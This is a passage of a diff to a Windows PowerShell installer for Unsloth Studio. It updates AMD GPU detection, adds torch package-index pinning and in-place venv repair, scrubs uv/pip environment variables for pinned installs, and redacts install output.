         $studioHomeEnv = if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $env:UNSLOTH_STUDIO_HOME.Trim() } elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $env:STUDIO_HOME.Trim() } else { $null }
         if ($studioHomeEnv) {
@@ -1305,7 +1498,7 @@ if (-not $HasNvidiaSmi) {
             $nameArchTable = @(
                 @{ P = "9070 XT|9080";                                        A = "gfx1201" }  # RDNA 4 (Radeon RX 9070 XT / 9080)
                 @{ P = "9070|9060";                                           A = "gfx1200" }  # RDNA 4 (Radeon RX 9070 / 9060)
-                @{ P = "8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" }  # RDNA 3.5 (Strix Halo: Radeon 8060S/8050S/8040S iGPU, Ryzen AI Max+)
+                @{ P = "8065S|8060S|8050S|8040S|Strix Halo|Ryzen AI Max|AI Max"; A = "gfx1151" }  # RDNA 3.5 (Strix Halo + Gorgon Halo: Radeon 8065S/8060S/8050S/8040S iGPU, Ryzen AI Max / Max+)
                 @{ P = "890M|880M|860M|840M|Strix Point|Krackan|HX 37[05]|AI 9 HX|AI 9 36[05]|AI 7 35[05]|AI 5 34[05]|AI 7 PRO 35|AI 5 33"; A = "gfx1150" }  # RDNA 3.5 (Strix/Krackan Point: Radeon 890M/880M iGPU, Ryzen AI 9 HX 370/375)
                 @{ P = "RX 7900|RX 7800|RX 7700(?!S)|PRO W7900|PRO W7800|PRO W7700"; A = "gfx1100" }  # RDNA 3 desktop / workstation (Navi 31)
                 @{ P = "RX 7600|RX 7700S|RX 7650|PRO W7600|PRO W7500|PRO V710"; A = "gfx1102" }  # RDNA 3 (Navi 33)
@@ -1835,7 +2028,7 @@ $SysNpmVersion = ""
 $NodeSource = $null
 
 if (-not $IsPipInstall) {
-    # Put Node beside the Studio root. OXC can still need npm when the
+    # Put Node beside the Unsloth root. OXC can still need npm when the
     # frontend build is skipped.
     if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_STUDIO_HOME)) { $NodeOverride = $env:UNSLOTH_STUDIO_HOME.Trim() }
     elseif (-not [string]::IsNullOrWhiteSpace($env:STUDIO_HOME)) { $NodeOverride = $env:STUDIO_HOME.Trim() }
@@ -2112,17 +2305,17 @@ if ($NeedNodeForSetup) {
             step "frontend" "skipped (no suitable Node; system left untouched)" "Yellow"
         }
         $NeedFrontendBuild = $false
-        substep "found Node='$SysNodeVersion' npm='$SysNpmVersion'; Studio needs Node >=20.19/22.12/23 and npm >= 11" "Yellow"
+        substep "found Node='$SysNodeVersion' npm='$SysNpmVersion'; Unsloth needs Node >=20.19/22.12/23 and npm >= 11" "Yellow"
         substep "install a suitable Node + npm, or unset UNSLOTH_SKIP_NODE_INSTALL to let Unsloth manage an isolated Node" "Yellow"
     } elseif ($NodeSource -eq "bundled") {
         New-Item -ItemType Directory -Force -Path $NodeParent -ErrorAction SilentlyContinue | Out-Null
-        # Minimal ownership guard for a custom-home dir (the full Studio-owned
+        # Minimal ownership guard for a custom-home dir (the full Unsloth-owned
         # helpers are defined later); never os.replace over a user-owned dir.
         if ($NodeOverride -and (Test-Path -LiteralPath $NodeDir -PathType Container)) {
             $nodeOwnedMarker = Join-Path $NodeDir ".unsloth-studio-owned"
             $nodeMeta = Join-Path $NodeDir "UNSLOTH_NODE_PREBUILT_INFO.json"
             if (-not (Test-Path -LiteralPath $nodeOwnedMarker) -and -not (Test-Path -LiteralPath $nodeMeta)) {
-                Write-Host "[ERROR] $NodeDir already exists and is not a Studio-owned Node install." -ForegroundColor Red
+                Write-Host "[ERROR] $NodeDir already exists and is not an Unsloth-owned Node install." -ForegroundColor Red
                 Write-Host "        Move it aside or choose an empty UNSLOTH_STUDIO_HOME before re-running." -ForegroundColor Yellow
                 exit 1
             }
@@ -2135,7 +2328,7 @@ if ($NeedNodeForSetup) {
         $nodeExit = $LASTEXITCODE
         if ($nodeExit -eq 3) {
             Write-Host $nodeOut -ForegroundColor DarkGray
-            step "node" "install blocked by another active Studio install" "Red"
+            step "node" "install blocked by another active Unsloth install" "Red"
             exit 3
         } elseif ($nodeExit -ne 0) {
             Write-Host $nodeOut -ForegroundColor DarkGray
@@ -2314,6 +2507,11 @@ if ((Test-Path $OxcValidatorDir) -and $NodeSource -ne "skip" -and (Get-Command n
     substep "OXC validator runtime skipped (no npm found); code validation degrades until Node is available" "Yellow"
 }
 
+Remove-AgentInstructionFiles -Roots @(
+    (Join-Path $FrontendDir "node_modules"),
+    (Join-Path $OxcValidatorDir "node_modules")
+)
+
 # ==========================================================================
 #  PHASE 3: Python environment + dependencies
 # ==========================================================================
@@ -2456,13 +2654,14 @@ if (Test-Path -LiteralPath $LegacyStudioHome -PathType Container) {
     $LegacyStudioHome = (Resolve-Path -LiteralPath $LegacyStudioHome).Path
 }
 $StudioHomeIsCustom = ($_studioHomeCanon -ne $LegacyStudioHome)
-# Directory-local evidence that Studio created $Path, used to adopt a custom-home
-# llama.cpp predating the .unsloth-studio-owned marker (see setup.sh). Only the
-# prebuilt UNSLOTH_PREBUILT_INFO.json counts; source builds are indistinguishable
-# from a user clone on Windows and stay under the strict guard.
+# Directory-local evidence that Unsloth created $Path, used to adopt a custom-home
+# llama.cpp or whisper.cpp predating the .unsloth-studio-owned marker (see
+# setup.sh). Only Unsloth prebuilt markers count; source builds are
+# indistinguishable from a user clone on Windows and stay under the strict guard.
 function Test-StudioOwnedAdoptable {
     param([Parameter(Mandatory = $true)][string]$Path)
     if (Test-Path -LiteralPath (Join-Path $Path "UNSLOTH_PREBUILT_INFO.json") -PathType Leaf) { return $true }
+    if (Test-Path -LiteralPath (Join-Path $Path "UNSLOTH_WHISPER_PREBUILT_INFO.json") -PathType Leaf) { return $true }
     return $false
 }
 function Assert-StudioOwnedOrAbsent {
@@ -2476,7 +2675,7 @@ function Assert-StudioOwnedOrAbsent {
             Mark-StudioOwned $Path
             return
         }
-        Write-Host "[ERROR] $Path already exists and is not marked as a Studio-owned $Label." -ForegroundColor Red
+        Write-Host "[ERROR] $Path already exists and is not marked as an Unsloth-owned $Label." -ForegroundColor Red
         Write-Host "        Move it aside or choose an empty UNSLOTH_STUDIO_HOME before re-running." -ForegroundColor Yellow
         exit 1
     }
@@ -2501,6 +2700,8 @@ if ((Test-Path -LiteralPath $VenvDir -PathType Container) -and -not $NoTorchMode
     $VenvPyExe = Join-Path $VenvDir "Scripts\python.exe"
     $installedTorchTag = $null
     $shouldRebuild = $false
+    # Set when a stale venv under a pin is repaired in place (force-reinstall) not wiped.
+    $script:PinChangedForceReinstall = $false
 
     if (Test-Path -LiteralPath $VenvPyExe) {
         try {
@@ -2517,10 +2718,14 @@ if ((Test-Path -LiteralPath $VenvDir -PathType Container) -and -not $NoTorchMode
             if ($finished -and $proc.ExitCode -eq 0 -and $torchVer) {
                 if ($torchVer -match '\+(cu\d+)') {
                     $installedTorchTag = $Matches[1]
+                } elseif ($torchVer -match '\+rocm') {
+                    # Any +rocm / gfx wheel -> generic "rocm" flavor (the exact version is
+                    # repaired later by install_python_stack.py; here we only need the flavor).
+                    $installedTorchTag = "rocm"
                 } elseif ($torchVer -match '\+cpu') {
                     $installedTorchTag = "cpu"
                 } else {
-                    # Untagged wheel (plain "2.x.y" from PyPI) -- treat as cpu
+                    # Untagged wheel (plain "2.x.y" from PyPI) -> cpu.
                     $installedTorchTag = "cpu"
                 }
             } else {
@@ -2536,17 +2741,77 @@ if ((Test-Path -LiteralPath $VenvDir -PathType Container) -and -not $NoTorchMode
     }
 
     if (-not $shouldRebuild) {
-        $expectedTorchTag = if ($HasNvidiaSmi) { Get-PytorchCudaTag } else { "cpu" }
-        if ($installedTorchTag -and $installedTorchTag -ne $expectedTorchTag) {
+        $_pinnedIdx = Get-PinnedTorchIndexUrl
+        $_expectedKnown = $true
+        if ($_pinnedIdx) {
+            $_pinLeaf = Get-TorchIndexLeaf $_pinnedIdx
+            # Digit-gated like the install selection: a custom rocm-* leaf (rocm-current /
+            # rocm-rel-7.2.1) is NOT a ROCm family and must not be stale-compared.
+            if (Test-PipRocmFamilyLeaf $_pinLeaf) {
+                # Don't collapse a pinned ROCm/gfx leaf to a generic "rocm" (would mask a family
+                # change, rocm6.4 -> gfx1151). Get-RocmPinStaleTags uses the SAME 2.11 allowlist
+                # as the install path, so a gfx110X-all/gfx90a/gfx908 pin on a <2.11 wheel is NOT stale.
+                $_rocmTags = Get-RocmPinStaleTags -PinLeaf $_pinLeaf -TorchVersion $torchVer
+                $expectedTorchTag  = $_rocmTags.Expected
+                $installedTorchTag = $_rocmTags.Installed
+            } elseif ((Test-CudaFamilyLeaf $_pinLeaf) -or $_pinLeaf -eq 'cpu') {
+                # cu*/cpu leaves stay specific so a cu126-vs-cu128 mismatch rebuilds;
+                # /custom and /current fall through to the unknown-index branch below.
+                $expectedTorchTag = $_pinLeaf
+            } else {
+                # Custom index whose leaf is not a torch flavor (a /simple mirror): the
+                # flavor can't be inferred, so never treat the venv as stale over it.
+                $_expectedKnown = $false
+                $expectedTorchTag = $installedTorchTag
+            }
+        } elseif ($HasNvidiaSmi) {
+            $expectedTorchTag = Get-PytorchCudaTag
+        } elseif ($HasROCm -or $script:ROCmGfxArch) {
+            # AMD/ROCm host with no explicit pin: an existing +rocm wheel is correct (gfx arch
+            # counts even when $HasROCm is false). But only the arches the install path maps to a
+            # repo.amd.com index get ROCm torch; an unmapped arch installs CPU, so expect "cpu"
+            # for those or a correct CPU venv rebuilds every update.
+            $_rocmWheelArches = @(
+                "gfx1201", "gfx1200",           # RDNA 4
+                "gfx1151", "gfx1150",           # RDNA 3.5 (Strix Halo/Point)
+                "gfx1103", "gfx1102", "gfx1101", "gfx1100",  # RDNA 3
+                "gfx1036", "gfx1035", "gfx1034", "gfx1033", "gfx1032", "gfx1031", "gfx1030",  # RDNA 2 (RX 6000)
+                "gfx90a", "gfx908"              # MI200 / MI100
+            )
+            if ($script:ROCmGfxArch -and ($_rocmWheelArches -contains $script:ROCmGfxArch)) {
+                # A correct +rocm wheel is not stale. A CPU wheel on a supported AMD arch is
+                # NOT wiped either (the AMD Windows ROCm override below upgrades it in place);
+                # expect "cpu" for that case. A wrong CUDA wheel still rebuilds.
+                if ($installedTorchTag -eq "cpu") {
+                    $expectedTorchTag = "cpu"
+                } else {
+                    $expectedTorchTag = "rocm"
+                }
+            } else {
+                $expectedTorchTag = "cpu"
+            }
+        } else {
+            $expectedTorchTag = "cpu"
+        }
+        if ($_expectedKnown -and $installedTorchTag -and $installedTorchTag -ne $expectedTorchTag) {
             $shouldRebuild = $true
         }
     }
 
+    # A stale venv under a pin whose torch still imports is repaired IN PLACE (the dependency
+    # pass force-reinstalls from the pin). The rebuild path wipes the venv and would strand a
+    # direct `studio update`; only a broken venv or an unpinned drift wipes.
+    if ($shouldRebuild -and $_pinnedIdx -and $installedTorchTag) {
+        substep "Torch-index pin changed ($installedTorchTag) -- reinstalling torch from the pin in place." "Cyan"
+        $script:PinChangedForceReinstall = $true
+        $shouldRebuild = $false
+    }
+
     if ($shouldRebuild) {
         $reason = if ($installedTorchTag) { "torch $installedTorchTag != required $expectedTorchTag" } else { "torch could not be imported" }
         if ($InstallerManagedSetup) {
             substep "Stale venv detected ($reason)." "Yellow"
-            Write-Host "   [ERROR] The existing Studio environment needs repair." -ForegroundColor Red
+            Write-Host "   [ERROR] The existing Unsloth environment needs repair." -ForegroundColor Red
             Write-Host "           Re-run install.ps1 so it can replace the environment safely with rollback." -ForegroundColor Yellow
             exit 1
         }
@@ -2568,7 +2833,7 @@ if ((Test-Path -LiteralPath $VenvDir -PathType Container) -and -not $NoTorchMode
             Remove-Item -LiteralPath $VenvDir -Recurse -Force -ErrorAction Stop
         } catch {
             Write-Host "   [ERROR] Could not remove stale venv: $($_.Exception.Message)" -ForegroundColor Red
-            Write-Host "           Close any running Studio/Python processes and re-run setup." -ForegroundColor Red
+            Write-Host "           Close any running Unsloth/Python processes and re-run setup." -ForegroundColor Red
             exit 1
         }
     }
@@ -2619,12 +2884,41 @@ if (Get-Command uv -ErrorAction SilentlyContinue) {
 # Helper: install a package, preferring uv with pip fallback
 function Fast-Install {
     param([Parameter(ValueFromRemainingArguments=$true)]$Args_)
-    if ($UseUv) {
-        $VenvPy = (Get-Command python).Source
-        $result = & uv pip install --python $VenvPy @Args_ 2>&1
-        if ($LASTEXITCODE -eq 0) { return }
+    # An explicit --index-url must win: inherited uv index vars otherwise pull CPU torch over
+    # the CUDA/ROCm build (#6898), so drop them for pinned installs (scrub covers the whole
+    # function since the pip fallback honours PIP_* too). UV_TORCH_BACKEND / UV_FIND_LINKS also
+    # reroute; UV_NO_CONFIG=1 (+ dropping UV_CONFIG_FILE) stops a uv.toml index outranking the
+    # pin (uv 0.10); PIP_NO_INDEX / PIP_INDEX_URL would defeat the pinned --index-url in pip.
+    $saved = @{}
+    $pinned = @($Args_) -contains '--index-url'
+    if ($pinned) {
+        foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL',
+                       'UV_TORCH_BACKEND', 'UV_FIND_LINKS', 'PIP_EXTRA_INDEX_URL', 'PIP_FIND_LINKS',
+                       'PIP_NO_INDEX', 'PIP_INDEX_URL',
+                       'UV_CONFIG_FILE', 'UV_NO_CONFIG', 'PIP_CONFIG_FILE') {
+            $saved[$n] = [Environment]::GetEnvironmentVariable($n)
+            Remove-Item "Env:$n" -ErrorAction SilentlyContinue
+        }
+        $env:UV_NO_CONFIG = '1'
+        # A `pip config` global.extra-index-url still adds indexes to the pip FALLBACK;
+        # PIP_CONFIG_FILE = 'nul' (Windows devnull) loads NO config (uv ignores pip config).
+        $env:PIP_CONFIG_FILE = 'nul'
+    }
+    try {
+        if ($UseUv) {
+            $VenvPy = (Get-Command python).Source
+            $result = & uv pip install --python $VenvPy @Args_ 2>&1
+            if ($LASTEXITCODE -eq 0) { return }
+        }
+        & python -m pip install @Args_ 2>&1
+    }
+    finally {
+        if ($pinned) {
+            Remove-Item "Env:UV_NO_CONFIG" -ErrorAction SilentlyContinue
+            Remove-Item "Env:PIP_CONFIG_FILE" -ErrorAction SilentlyContinue
+        }
+        foreach ($n in $saved.Keys) { if ($null -ne $saved[$n]) { Set-Item "Env:$n" $saved[$n] } }
     }
-    & python -m pip install @Args_ 2>&1
 }
 
 # ── Check if Python deps need updating ──
@@ -2707,6 +3001,10 @@ sys.exit(0 if (major, minor) >= (4, 14) else 1)
 #     pip install unsloth 2>&1 | Out-Null
 # }
 
+# A torch-index pin change repairs in place: force the dependency pass so the torch install
+# below force-reinstalls from the new pin (else the fast path keeps the old wheel).
+if ($script:PinChangedForceReinstall) { $SkipPythonDeps = $false }
+
 if (-not $SkipPythonDeps) {
 
 if ($script:UnslothVerbose) {
@@ -2723,7 +3021,7 @@ if ($script:UnslothVerbose) {
 # The CUDA tag is chosen based on the driver's max supported CUDA version.
 
 # Triton/inductor filenames are long and can hit Windows MAX_PATH (260). With long
-# paths on, cache under Studio home; else use a short drive-root dir for headroom.
+# paths on, cache under Unsloth home; else use a short drive-root dir for headroom.
 if ($LongPathsEnabled) {
     $TorchCacheDir = Join-Path $StudioHome "TORCHINDUCTOR_CACHE_DIR"
 } else {
@@ -2734,7 +3032,13 @@ $env:TORCHINDUCTOR_CACHE_DIR = $TorchCacheDir
 [Environment]::SetEnvironmentVariable('TORCHINDUCTOR_CACHE_DIR', $TorchCacheDir, 'User')
 substep "TORCHINDUCTOR_CACHE_DIR set to $TorchCacheDir (avoids MAX_PATH issues)"
 
-if ($HasNvidiaSmi) {
+# Explicit pin (URL or family) wins over GPU probing and suppresses the AMD reroute below;
+# matches install.sh / install.ps1 / install_python_stack.py.
+$PinnedTorchIndexUrl = Get-PinnedTorchIndexUrl
+$TorchIndexPinned = [bool]$PinnedTorchIndexUrl
+if ($PinnedTorchIndexUrl) {
+    $CuTag = Get-TorchIndexLeaf $PinnedTorchIndexUrl
+} elseif ($HasNvidiaSmi) {
     $CuTag = Get-PytorchCudaTag
 } else {
     $CuTag = "cpu"
@@ -2752,16 +3056,20 @@ $ROCmIndexUrl = $null
 # Install AMD ROCm PyTorch wheels when ROCm is confirmed OR a gfx arch is known
 # (name-inferred on Adrenalin-only hosts). The per-arch wheels bundle the runtime
 # (rocm-sdk-libraries-<gfx>), so torch.cuda.is_available() is True without a HIP
-# SDK -- which flips Studio out of chat-only (CHAT_ONLY) and enables Train/Export.
+# SDK -- which flips Unsloth out of chat-only (CHAT_ONLY) and enables Train/Export.
 # Gating on $HasROCm alone left Strix Halo / Radeon 8060S on CPU torch; a failed
 # ROCm install still falls back to CPU below, so this is safe.
-if (($HasROCm -or $ROCmGfxArch) -and $CuTag -eq "cpu") {
+if (-not $TorchIndexPinned -and ($HasROCm -or $ROCmGfxArch) -and $CuTag -eq "cpu") {
     $amdIndexBase = if ($env:UNSLOTH_ROCM_WINDOWS_MIRROR) { $env:UNSLOTH_ROCM_WINDOWS_MIRROR.TrimEnd('/') } else { "https://repo.amd.com/rocm/whl" }
     $archFamilyMap = @{
         "gfx1201" = "gfx120X-all"; "gfx1200" = "gfx120X-all"  # RDNA 4
         "gfx1151" = "gfx1151";     "gfx1150" = "gfx1150"      # RDNA 3.5 (Strix Halo/Point)
         "gfx1103" = "gfx110X-all"; "gfx1102" = "gfx110X-all"  # RDNA 3
         "gfx1101" = "gfx110X-all"; "gfx1100" = "gfx110X-all"
+        "gfx1036" = "gfx103X-all"; "gfx1035" = "gfx103X-all"  # RDNA 2 (RX 6000)
+        "gfx1034" = "gfx103X-all"; "gfx1033" = "gfx103X-all"
+        "gfx1032" = "gfx103X-all"; "gfx1031" = "gfx103X-all"
+        "gfx1030" = "gfx103X-all"
         "gfx90a"  = "gfx90a";      "gfx908"  = "gfx908"       # MI200/MI100
     }
     # gfx120X and Strix have a null _grouped_mm kernel on torch <2.11.0.
@@ -2796,7 +3104,7 @@ if (($HasROCm -or $ROCmGfxArch) -and $CuTag -eq "cpu") {
         # GPU arch detected but not in the supported wheel map — warn explicitly
         # so the user knows why they are getting CPU PyTorch instead of ROCm.
         substep "[WARN] AMD GPU ($ROCmGfxArch) not in supported arch list -- falling back to CPU-only PyTorch" "Yellow"
-        substep "       Supported: gfx1200/1201 (RDNA 4), gfx1150/1151 (RDNA 3.5), gfx1100-1103 (RDNA 3), gfx90a, gfx908" "Yellow"
+        substep "       Supported: gfx1200/1201 (RDNA 4), gfx1150/1151 (RDNA 3.5), gfx1100-1103 (RDNA 3), gfx1030-1036 (RDNA 2), gfx90a, gfx908" "Yellow"
     } else {
         # HIP SDK present ($HasROCm=true via amd-smi) but gcnArchName was not
         # readable — warn rather than silently falling back to CPU PyTorch.
@@ -2805,8 +3113,45 @@ if (($HasROCm -or $ROCmGfxArch) -and $CuTag -eq "cpu") {
     }
 }
 
+# A pinned gfx*/rocm index skips the auto-reroute above; route it through the ROCm install path
+# with the same floor/companions the unpinned AMD path uses (mirrors install.ps1), else the CUDA
+# branch installs bare torch and resolves a known-bad wheel for gfx115x/gfx120x/rocm>=7.2.
+if ($TorchIndexPinned -and -not $ROCmIndexUrl -and $PinnedTorchIndexUrl) {
+    $_pinLeaf = Get-TorchIndexLeaf $PinnedTorchIndexUrl
+    $_pinRocm211 = $false
+    # Anchor the match ($) so a suffixed custom leaf (rocm7.2-private) falls through to the
+    # verbatim install instead of being floored by its rocm7.2 prefix.
+    if ($_pinLeaf -match '^rocm(\d+)\.(\d+)$') {
+        # Only KNOWN-2.11 rocm (rocm7.2) gets the floor (no speculative floor). Matches
+        # Test-RocmKnown211Version / _ROCM_KNOWN_TORCH211_VERSIONS.
+        $_pinRocm211 = Test-RocmKnown211Version -Major ([int]$Matches[1]) -Minor ([int]$Matches[2])
+    }
+    # Only the 2.11 gfx arches need the floor; others publish <2.11 and stay bare. Reuse
+    # Test-RocmGfx211Leaf so this allowlist and the stale-venv check never diverge.
+    $_pinGfx211 = Test-RocmGfx211Leaf $_pinLeaf
+    if ($_pinGfx211 -or $_pinRocm211) {
+        $ROCmIndexUrl   = $PinnedTorchIndexUrl
+        $ROCmTorchSpec  = "torch>=2.11.0,<2.12.0"
+        $ROCmVisionSpec = "torchvision>=0.26.0,<0.27.0"
+        $ROCmAudioSpec  = "torchaudio>=2.11.0,<2.12.0"
+        substep "pinned ROCm index ($_pinLeaf) -- enforcing $ROCmTorchSpec" "Cyan"
+    } elseif (Test-PipRocmFamilyLeaf $_pinLeaf) {
+        # Other gfx / older rocm (<=7.1) ship torch <2.11; route via the ROCm path with
+        # bare specs. Only EXACT rocm<digits> and gfx* are --index-url families; a suffixed
+        # leaf stays on the verbatim path. Mirrors install.ps1 / _is_pip_rocm_family_leaf.
+        $ROCmIndexUrl   = $PinnedTorchIndexUrl
+        $ROCmTorchSpec  = "torch"
+        $ROCmVisionSpec = "torchvision"
+        $ROCmAudioSpec  = "torchaudio"
+    }
+}
+
 $PyTorchWhlBase = if ($env:UNSLOTH_PYTORCH_MIRROR) { $env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/') } else { "https://download.pytorch.org/whl" }
 
+# A full URL pin is used verbatim; a family pin already set $CuTag. A pinned ROCm install
+# goes through $ROCmIndexUrl; on failure the fallback uses the CPU index, not the ROCm pin.
+$TorchInstallIndexUrl = if ($ROCmIndexUrl) { "$PyTorchWhlBase/cpu" } elseif ($PinnedTorchIndexUrl) { $PinnedTorchIndexUrl } else { "$PyTorchWhlBase/$CuTag" }
+
 $ROCmCpuFallback = $false
 if ($ROCmIndexUrl) {
     substep "installing PyTorch (AMD ROCm, $ROCmGfxArch)..."
@@ -2814,7 +3159,7 @@ if ($ROCmIndexUrl) {
         substep "  enforcing $ROCmTorchSpec $ROCmVisionSpec $ROCmAudioSpec (known _grouped_mm bug in older wheels)" "Cyan"
     }
     if ($script:UnslothVerbose) {
-        Fast-Install $ROCmTorchSpec $ROCmVisionSpec $ROCmAudioSpec --force-reinstall --index-url $ROCmIndexUrl
+        Fast-Install $ROCmTorchSpec $ROCmVisionSpec $ROCmAudioSpec --force-reinstall --index-url $ROCmIndexUrl | ForEach-Object { Redact-InstallOutput "$_" } | Out-Host
         $torchInstallExit = $LASTEXITCODE
         $output = ""
     } else {
@@ -2823,7 +3168,7 @@ if ($ROCmIndexUrl) {
     }
     if ($torchInstallExit -ne 0) {
         Write-Host "[WARN] AMD ROCm PyTorch install failed -- falling back to CPU" -ForegroundColor Yellow
-        Write-Host $output -ForegroundColor Yellow
+        Write-Host (Redact-InstallOutput $output) -ForegroundColor Yellow
         $ROCmIndexUrl = $null
         $ROCmCpuFallback = $true
     } else {
@@ -2833,42 +3178,70 @@ if ($ROCmIndexUrl) {
     }
 }
 
-if (-not $ROCmIndexUrl -and $CuTag -eq "cpu") {
+if (-not $ROCmIndexUrl -and ($CuTag -eq "cpu" -or $ROCmCpuFallback)) {
     substep "installing PyTorch (CPU-only)..."
-    # After an AMD ROCm fallback, force-reinstall so a partially-installed ROCm torch
-    # (which still satisfies the CPU torch>= range) is replaced by the CPU build. Skip
-    # the forced reinstall on a genuine CPU-only host so the common path stays fast.
-    # Build the array directly: an if-expression collapses @("x") to a scalar string,
-    # which @splat would then enumerate char-by-char into broken single-letter args.
+    # After an AMD ROCm fallback, force-reinstall so a partial ROCm torch (which satisfies the
+    # CPU torch>= range) is replaced by the CPU build; skip on a genuine CPU host to stay fast.
+    # $ROCmCpuFallback matters when a PINNED ROCm index failed ($CuTag is still the rocm leaf).
+    # Build the array directly: an if-expression collapses @("x") to a scalar @splat would
+    # enumerate char-by-char.
     $cpuForce = @()
     if ($ROCmCpuFallback) { $cpuForce = @("--force-reinstall") }
+    # --force-reinstall on a pin change: a stale +cu / +rocm wheel still satisfies the CPU
+    # torch>= range, so uv would keep it and only swap companions.
+    if ($script:PinChangedForceReinstall) { $cpuForce = @("--force-reinstall") }
+    # A PINNED cpu index installs the bounded trio (parity with _CPU_TORCH_PKG_SPEC): the /cpu
+    # index serves newer torch, and _ensure_cpu_torch keeps any CPU build, so a bare trio could
+    # land an unsupported version. Unpinned CPU hosts keep the bare trio (pre-pin behavior).
+    $cpuTorchSpec = "torch"; $cpuVisionSpec = "torchvision"; $cpuAudioSpec = "torchaudio"
+    if ($TorchIndexPinned) {
+        $cpuTorchSpec  = "torch>=2.4,<2.12.0"
+        $cpuVisionSpec = "torchvision>=0.19,<0.27.0"
+        $cpuAudioSpec  = "torchaudio>=2.4,<2.12.0"
+    }
     if ($script:UnslothVerbose) {
-        Fast-Install torch torchvision torchaudio @cpuForce --index-url "$PyTorchWhlBase/cpu"
+        Fast-Install $cpuTorchSpec $cpuVisionSpec $cpuAudioSpec @cpuForce --index-url $TorchInstallIndexUrl | ForEach-Object { Redact-InstallOutput "$_" } | Out-Host
         $torchInstallExit = $LASTEXITCODE
         $output = ""
     } else {
-        $output = Fast-Install torch torchvision torchaudio @cpuForce --index-url "$PyTorchWhlBase/cpu" | Out-String
+        $output = Fast-Install $cpuTorchSpec $cpuVisionSpec $cpuAudioSpec @cpuForce --index-url $TorchInstallIndexUrl | Out-String
         $torchInstallExit = $LASTEXITCODE
     }
     if ($torchInstallExit -ne 0) {
         Write-Host "[FAILED] PyTorch install failed (exit code $torchInstallExit)" -ForegroundColor Red
-        Write-Host $output -ForegroundColor Red
+        Write-Host (Redact-InstallOutput $output) -ForegroundColor Red
         exit 1
     }
 } elseif (-not $ROCmIndexUrl) {
     substep "installing PyTorch with CUDA support ($CuTag)..."
     substep "(This download is ~2.8 GB -- may take a few minutes)"
+    # --force-reinstall on a pin change: an installed cuXXX wheel satisfies the bare torch
+    # requirement (PEP 440 ignores the +cuXXX tag), so without it a changed CUDA pin (cu126
+    # -> cu128) never applies.
+    $cudaForce = @()
+    if ($script:PinChangedForceReinstall) { $cudaForce = @("--force-reinstall") }
+    # An unknown-leaf custom pin (/simple, /current) routes here with $CuTag as that leaf. Bound
+    # the trio like the fresh custom-pin paths so a mirror can't pull an ABI-newer companion
+    # against the capped torch. Known cu* leaves keep bare specs.
+    $cudaTorchSpec = "torch"
+    $cudaVisionSpec = "torchvision"
+    $cudaAudioSpec = "torchaudio"
+    if ($TorchIndexPinned -and -not (Test-CudaFamilyLeaf $CuTag)) {
+        $cudaTorchSpec = "torch>=2.4,<2.11.0"
+        $cudaVisionSpec = "torchvision>=0.19,<0.26.0"
+        $cudaAudioSpec = "torchaudio>=2.4,<2.11.0"
+    }
     if ($script:UnslothVerbose) {
-        Fast-Install torch torchvision torchaudio --index-url "$PyTorchWhlBase/$CuTag"
+        Fast-Install $cudaTorchSpec $cudaVisionSpec $cudaAudioSpec @cudaForce --index-url $TorchInstallIndexUrl | ForEach-Object { Redact-InstallOutput "$_" } | Out-Host
         $torchInstallExit = $LASTEXITCODE
         $output = ""
     } else {
-        $output = Fast-Install torch torchvision torchaudio --index-url "$PyTorchWhlBase/$CuTag" | Out-String
+        $output = Fast-Install $cudaTorchSpec $cudaVisionSpec $cudaAudioSpec @cudaForce --index-url $TorchInstallIndexUrl | Out-String
         $torchInstallExit = $LASTEXITCODE
     }
     if ($torchInstallExit -ne 0) {
         Write-Host "[FAILED] PyTorch CUDA install failed (exit code $torchInstallExit)" -ForegroundColor Red
-        Write-Host $output -ForegroundColor Red
+        Write-Host (Redact-InstallOutput $output) -ForegroundColor Red
         exit 1
     }
 
@@ -2884,7 +3257,7 @@ if (-not $ROCmIndexUrl -and $CuTag -eq "cpu") {
     }
     if ($tritonInstallExit -ne 0) {
         substep "Triton install failed -- torch.compile may not work" "Yellow"
-        Write-Host $output -ForegroundColor Yellow
+        Write-Host (Redact-InstallOutput $output) -ForegroundColor Yellow
     } else {
         substep "Triton for Windows installed (enables torch.compile)"
     }
@@ -2981,7 +3354,7 @@ foreach ($pkg in @("transformers==5.3.0", "huggingface_hub==1.8.0", "hf_xet==1.4
     }
     if ($t5PkgExit -ne 0) {
         Write-Host "[FAIL] Could not install $pkg into .venv_t5_530/" -ForegroundColor Red
-        Write-Host $output -ForegroundColor Red
+        Write-Host (Redact-InstallOutput $output) -ForegroundColor Red
         $ErrorActionPreference = $prevEAP_t5
         exit 1
     }
@@ -3016,7 +3389,7 @@ foreach ($pkg in @("transformers==5.5.0", "huggingface_hub==1.8.0", "hf_xet==1.4
     }
     if ($t5PkgExit -ne 0) {
         Write-Host "[FAIL] Could not install $pkg into .venv_t5_550/" -ForegroundColor Red
-        Write-Host $output -ForegroundColor Red
+        Write-Host (Redact-InstallOutput $output) -ForegroundColor Red
         $ErrorActionPreference = $prevEAP_t5
         exit 1
     }
@@ -3051,7 +3424,7 @@ foreach ($pkg in @("transformers==5.10.2", "huggingface_hub==1.8.0", "hf_xet==1.
     }
     if ($t5PkgExit -ne 0) {
         Write-Host "[FAIL] Could not install $pkg into .venv_t5_510/" -ForegroundColor Red
-        Write-Host $output -ForegroundColor Red
+        Write-Host (Redact-InstallOutput $output) -ForegroundColor Red
         $ErrorActionPreference = $prevEAP_t5
         exit 1
     }
@@ -3088,12 +3461,11 @@ $LlamaCppDir = Join-Path $UnslothHome "llama.cpp"
 $NeedLlamaSourceBuild = $false
 $SkipPrebuiltInstall = $false
 $RequestedLlamaTag = if ($env:UNSLOTH_LLAMA_TAG) { $env:UNSLOTH_LLAMA_TAG } else { $DefaultLlamaTag }
-# GPU Windows (CUDA / ROCm) installs the fork's app-* prebuilts; CPU-only stays
-# on ggml-org (the fork ships no windows-cpu bundle). Mirrors setup.sh's routing.
-# A resolved gfx arch counts as a GPU host even when $HasROCm is false (Adrenalin
-# driver only, no HIP runtime): the fork's per-gfx bundle ships its own runtime,
-# so route there instead of ggml-org / a CPU build.
